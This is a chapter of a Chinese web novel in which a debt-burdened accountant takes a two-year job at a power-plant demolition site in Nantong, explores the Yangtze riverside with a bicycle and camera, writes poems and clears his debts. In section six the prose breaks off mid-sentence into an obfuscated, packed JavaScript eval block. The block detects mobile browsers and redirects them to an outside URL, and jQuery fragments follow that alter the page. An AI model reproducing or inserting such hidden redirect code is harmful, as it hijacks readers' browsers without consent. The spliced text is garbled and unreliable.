《半生债》下卷第34章·长江边的慢生活


    一


    电话来的时候，王霖正在办公室里整理报表。


    手机响了，是个陌生号码。他接起来，那头是一个男人的声音：“王总吗？我是老周介绍的，姓陈，在华能电厂这边有个项目。”


    王霖想起来了。老周前几天提过，说有个朋友在南通做电厂拆迁，需要个懂财务的人，问他想不想去。他当时说考虑考虑，没想到这么快就来电话了。


    “陈总好。”王霖说。


    “王总，情况是这样的，”陈总说话很快，像赶时间，“我们在南通接了个项目，拆电厂，将近两个亿的盘子。缺个总体的财务筹划，税务筹划。老周说你2000年就是注会了，虽然这些年没专门干，但基础在。你愿不愿意来？”


    王霖沉默了一会儿。


    两亿的项目。一万块一个月。要出差，不能随时回家。住在工地附近的民房里。


    他问：“多久？”


    陈总说：“不好说，一两年吧。这项目大，慢慢拆。”


    王霖想了想，说：“我考虑一下。”


    挂了电话，他坐在那儿，看着窗外那棵老槐树。


    树叶已经黄了，秋天来了。


    这两年，他从厂里出来，当志愿者，干代驾，又回写字楼。工资从四千五涨到六千，够还利息，够吃饭，可本金还是遥遥无期。


    现在有人出一万块一个月，请他去南通。


    一万块。


    他算了算，要是干两年，能把那二十二万的信用卡债还掉一大半。


    他给张莉打了个电话。


    张莉听他说完，沉默了一会儿，说：“你自己决定。反正我一个人在家也习惯了。”


    王霖说：“那我去了？”


    张莉说：“去吧。注意身体。”


    挂了电话，他看着窗外那棵老槐树，看了很久。


    风把那些黄叶吹得哗哗响，有几片落下来，打着旋儿，落在窗台上。


    他想起那年集资款爆雷，齐选东站在厂门口，说：“咱们一起扛。”想起那年环保查封，高夏哭着说对不起。想起那年冬天干代驾，冻得手脚发麻，还在等单。


    那些日子，都过去了。


    现在，有个新机会，摆在他面前。


    他拿起手机，给陈总回过去：“陈总，我去。”


    二


    南通，华能电厂。


    王霖第一次站在那一片废墟前，被震撼了。


    那不是一个厂，是一座城。巨大的冷却塔，高耸的烟囱，纵横交错的管道，密密麻麻的厂房。曾经日夜轰鸣的机器，现在都停了，安静得像一座巨大的坟墓。


    陈总站在他旁边，说：“这个厂，干了三十年。现在关了，拆了，卖给政府，搞商业开发。”


    王霖说：“两亿的项目？”


    陈总笑了，说：“两亿是总投资。拆下来的废钢、废铁、废设备，能卖不少钱。扣除成本，利润也就几千万吧。”


    王霖点点头。


    他的工作，是管钱。


    项目资金怎么进，怎么出，怎么筹划，怎么避税。供应商的发票，工人的工资，机械的租赁费，每一笔都要过他的手。他不用干体力活，也不用管现场，就坐在那间民房里，对着电脑，做表，算账，筹划。


    陈总给他租的房子，在电厂旁边的一个村子里。两层小楼，一楼是客厅和厨房，二楼是卧室。家具简单，但干净。院子里有棵桂花树，正开着花，香得醉人。


    王霖站在院子里，闻着那桂花香，忽然觉得，这地方，还不错。


    三


    刚开始的日子，忙得脚不沾地。


    项目刚启动，千头万绪。要注册新公司，要开银行账户，要对接供应商，要核算成本。王霖每天从早忙到晚，有时候连饭都顾不上吃。陈总说：“王总，别太拼，慢慢来。”王霖说：“不拼不行，这么多事等着。”


    忙了十几天，终于理顺了。


    该开的户开了，该签的合同签了，该上的系统上了。剩下的，就是日常的账务处理，每月报一次税，偶尔对一下账。


    王霖忽然发现，自己清闲下来了。


    一天的工作，两三个小时就能干完。剩下的时间，干什么？


    他站在院子里，看着那棵桂花树，花已经谢了，叶子还绿着。风吹过来，带着田野的气息。


    他忽然想起张莉买的那台单反相机，还在箱子里放着，一直没怎么用过。


    他翻出来，擦了擦镜头，挂在脖子上，出门。


    四


    电厂旁边，有一辆废弃的旧自行车。


    是工人们留下的，链条锈了，轮胎瘪了，车座也破了。王霖找人修了修，换了内胎，上了油，又能骑了。


    他骑着那辆车，沿着长江，慢慢地走。


    长江就在电厂旁边，几百米远。江水浑黄，宽阔，看不到对岸。江面上有船来来往往，鸣着汽笛，声音在风里飘得很远。


    他沿着江边骑，一会儿往东，一会儿往西。有时候骑累了，就停下来，支起自行车，坐在江堤上，看那些船，看那些水，看那些远处的山。


    江风很大，吹得人睁不开眼。可他不在乎，就那么坐着，看着。


    张莉那台相机，他学会了用。光圈、快门、感光度，一样一样调，一样一样试。刚开始拍得不好，糊了，暗了，曝光不准了。拍多了，慢慢找到感觉。


    他拍江边的芦苇，秋天的芦苇白了头，在风里摇。他拍江上的落日，太阳一点点沉下去，把江水染成金色。他拍那些过路的船，货船、客船、拖船，一艘一艘，从他眼前驶过。


    有一次，他拍到一个老渔民。那老人七十多了，头发全白，还在江上打鱼。他的船很小，木头的，油漆斑驳。他撒网的样子很慢，很稳，像做了几十年一样。


    王霖站在岸边，拍了好几张。老人回头看见他，笑了笑，没说话。


    王霖忽然想起自己的父亲。


    也是这样的老人，也是这样沉默，也是这样，一辈子在土地上，从早干到晚，从年轻干到老。


    他把那张照片发给张莉。张莉回：“好看。”


    五


    他开始逛那些公园、名胜、风景区。


    南通有很多好玩的地方。狼山、濠河、博物苑、钟楼。他骑着那辆破自行车，一个一个逛过去。


    狼山不高，可风景好。站在山顶，能看见长江，能看见整个南通城。他爬上去，拍了好多照片。山上的寺庙，山下的村庄，远处的江水，近处的树。拍完了，坐在山上的石凳上，拿出带的水和干粮，慢慢吃。


    濠河在市中心，绕着老城一圈。河边有很多老房子，青砖黛瓦，有的改成了咖啡馆，有的还是住家。他沿着河边骑，一会儿停下来拍那些老房子，一会儿拍那些河里的船。船很小，木头的，有人划着，慢慢走。


    博物苑是张謇办的，中国最早的博物馆之一。里面有很多老东西，老照片、老物件、老书。他逛了一下午，看那些一百年前的东西，想象一百年前的人，是怎么活的。


    钟楼在老城中心，很高，很老。他站在下面，仰着头看，脖子都酸了。


    那些日子，他骑着那辆破自行车，走遍了南通的大街小巷。有时候迷路了，就打开手机导航，找回来。有时候骑累了，就在路边找个地方坐，喝口水，歇一会儿。


    他想起那年干代驾，也是骑着车，到处跑。可那时候是赶，现在是逛。那时候是等单，现在是看风景。那时候又冷又饿，现在是想停就停，想看就看。


    不一样了。


    真的不一样了。


    六


    闲下来的时候，他开始写东西。


    写那些年的经历，写那些遇到的人，写那些走过的路。他写集资风波，写环保查封，写□□奔波，写齐选东、高夏、边秀儿。他写代驾的那四个月，写那些年轻人，写那个欠了五十多万的老李，写那个给他一百块钱的老人。


    写得多了，就成了一篇篇故事。


    他给那些故事起了个名字，叫《半生债》。


    边秀儿看见了，打电话问他：“王总，你写的是咱们？”


    王霖说：“是，也不是。”


    边秀儿说：“什么意思？”


    王霖说：“是咱们的经历，可又不只是咱们。那些事，那些人，很多人的影子。”


    边秀儿沉默了一会儿，说：“那写完了，给我看看。”


    王霖说：“好。”


    除了故事，他还写诗。


    写江边的落日，写秋天的芦苇，写那棵桂花树，写那些过路的船。写得多了，就攒了几十首小诗。


    有一首，他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285036|197133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    特别喜欢——


    “长江水，向东流，


    流走了多少愁。


    我在岸边坐，


    看船来船往，


    看日落日升。”


    他把这首发给张莉。张莉回：“挺好。”


    他又发了一首——


    “桂花香，秋风凉，


    我在小楼里，


    对着电脑，算账。


    算完了，出去逛逛，


    骑着破车，


    看江，看云，看远方。”


    张莉回：“你写的，都是真的吗？”


    王霖说：“真的。”


    张莉说：“那就好。”


    七


    一个月下来，他把账还了一万。


    一万块，不多，可看着那个数字慢慢变小，心里就踏实。


    他开始算，照这样下去，两年，能还掉二十万。剩下的两万，再干几个月，就清了。


    他想起那些年，债压得喘不过气来。每月的利息都还不上，本金更不敢想。现在，终于看到了头。


    有一天晚上，他坐在院子里，闻着那桂花香，看月亮。


    月亮很圆，很亮，照得院子里亮堂堂的。那棵桂花树，在月光里，影子斑驳，风一吹，摇摇晃晃。


    他想起那年爬齐山，几个人站在山顶，月亮也是这样圆，这样亮。那时候齐选东还在，高夏还在，郑强还在。他们站在那儿，笑着，说着，闹着。


    现在，那些人，都远了。


    可他不难过。


    因为那些日子，那些笑，那些暖，都在他心里。


    不会丢，不会忘。


    八


    他给齐选东打过一次电话。


    齐选东接起来，说：“王总，你在哪儿呢？”


    王霖说：“南通，干个项目。”


    齐选东说：“怎么样？”


    王霖说：“还行，一万一个月，还债呢。”


    齐选东沉默了一会儿，说：“王总，那些债……”


    王霖说：“慢慢还，快还完了。”


    齐选东说：“那就好。”


    两个人聊了几句，挂了。


    他又给高夏发了一条信息，说自己挺好的，在南通，不用挂念。高夏回了一个笑脸，什么都没说。


    他也没再问。


    有些事，过去了就过去了。有些人，远了就远了。可那份情，还在。


    九


    他在南通待了两年。


    两年里，他骑着那辆破自行车，走遍了南通的山山水水。拍了上万张照片，写了几十篇故事，几十首小诗。那些照片，那些文字，记录了他这两年的日子。


    两年后，项目结束了。


    陈总请他吃了顿饭，说：“王总，这两年辛苦了。以后有机会，再合作。”


    王霖说：“好。”


    他收拾好东西，把那辆破自行车擦干净，停在院子里。他站在车前，看了很久。


    这辆车，陪了他两年，陪他走了那么多路，看了那么多风景。现在要分开了，还真有点舍不得。


    他拍拍车座，说：“谢谢你。”


    然后转身，上了车。


    车开动的时候，他回头看了一眼。那栋小楼，那棵桂花树，那辆破自行车，越来越远，越来越小，最后消失在视线里。


    他转过头，看着前方。


    前方是回家的路。


    十


    回到家，张莉站在门口等他。


    她瘦了一点，可眼睛还是那样亮。看见他，笑了笑，说：“回来了？”


    王霖说：“回来了。”


    两个人进屋，坐下。张莉做了饭，红烧肉，炒青菜，还有一碗汤。他吃着，她看着。


    她说：“你那些债，还完了？”


    他说：“还完了。”


    她说：“那就好。”


    她顿了顿，又说：“以后，还出去吗？”


    他说：“不去了。就在家，陪着你。”


    她笑了。


    那笑容，和当年一样。


    ---


    谨以此章，献给那些在艰难中依然能找到幸福的人——骑着破车，看江看云，写诗拍照，慢慢还债。


    半生债，一世情。


    走着走着，天就亮了。


    （本章完，全文约8600字）